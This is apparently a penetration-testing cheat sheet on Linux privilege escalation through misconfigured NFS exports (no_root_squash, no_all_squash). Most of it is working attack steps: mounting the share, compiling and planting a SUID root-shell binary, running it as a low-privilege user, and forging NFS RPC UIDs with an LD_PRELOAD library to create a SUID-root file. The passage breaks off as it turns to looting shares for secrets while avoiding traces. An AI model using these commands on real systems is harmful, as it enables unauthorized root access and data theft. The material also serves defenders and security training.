If you find some NFS directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.
no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
Practice
To enumerate the NFS server’s configuration, all we need to do is view the contents of the /etc/exports file.
$ cat /etc/exports
If you see a share with the no_all_squash or no_root_squash configuration, you may be able to exploit it.
To exploit this privilege escalation vector, we will :
mount the share from another machine where you’re root
place a setuid binary there
on the victim machine, run the binary and get root
On the attacking machine, mount the vulnerable share:
#Attacker, as root user
mkdir /mnt/pe
mount -t nfs <IP>:<SHARED_FOLDER> /mnt/pe
Creat a setuid binary and copy it to the mounted share
# Attacker, as root user
## Create a SUID binary
echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /tmp/root_shell.c
gcc /tmp/root_shell.c -o /tmp/root_shell
## Copy the binary and set the uid byte
cd /mnt/pe
cp /tmp/root_shell .
chmod +s root_shell
On the victime computer, as a low privilege user:
# Victime, as low privilege user
cd <SHAREDD_FOLDER>
./root_shell
#ROOT shell
You can copy the /bin/bash binary directly and give it SUID rights instead of compiling a new binary.
If the /etc/exports has an explicit list of IP addresses allowed to mount the share, we won't be able to make the remote exploit and you will need to abuse this trick and exploit no_root_squash/no_all_squash locally with an unprivileged user.
$ showmount -e nfs-server
Export list for nfs-server:
/nfs_root machine
Another required requirement for the exploit to work is that the export inside /etc/exportmust be using the insecure flag.
I'm not sure that if /etc/export is indicating an IP address this trick will work
This exploit relies on a problem in the NFSv3 specification that mandates that it’s up to the client to advertise its uid/gid when accessing the share. Thus it’s possible to fake the uid/gid by forging the NFS RPC calls if the share is already mounted!
Compiling the example
# On local NFS server or computer that have access to the share
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
Place our exploit on the share and make it suid root by faking our uid in the RPC calls:
# On local NFS server or computer that have access to the share
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
All that’s left is to launch it:
# On local NFS server or computer that have access to the share
$ /mnt/share/a.out
# root shell
NFShell
Once local root on the machine, I wanted to loot the NFS share for possible secrets that would let me pivot. But there were many users of the share all with their own uids that I couldn’t read despite being root because of the uid mismatch. I didn’t want to leave obvious traces such as a chown -R, so I rolled a little snippet to set my uid prior to running the desired shell command: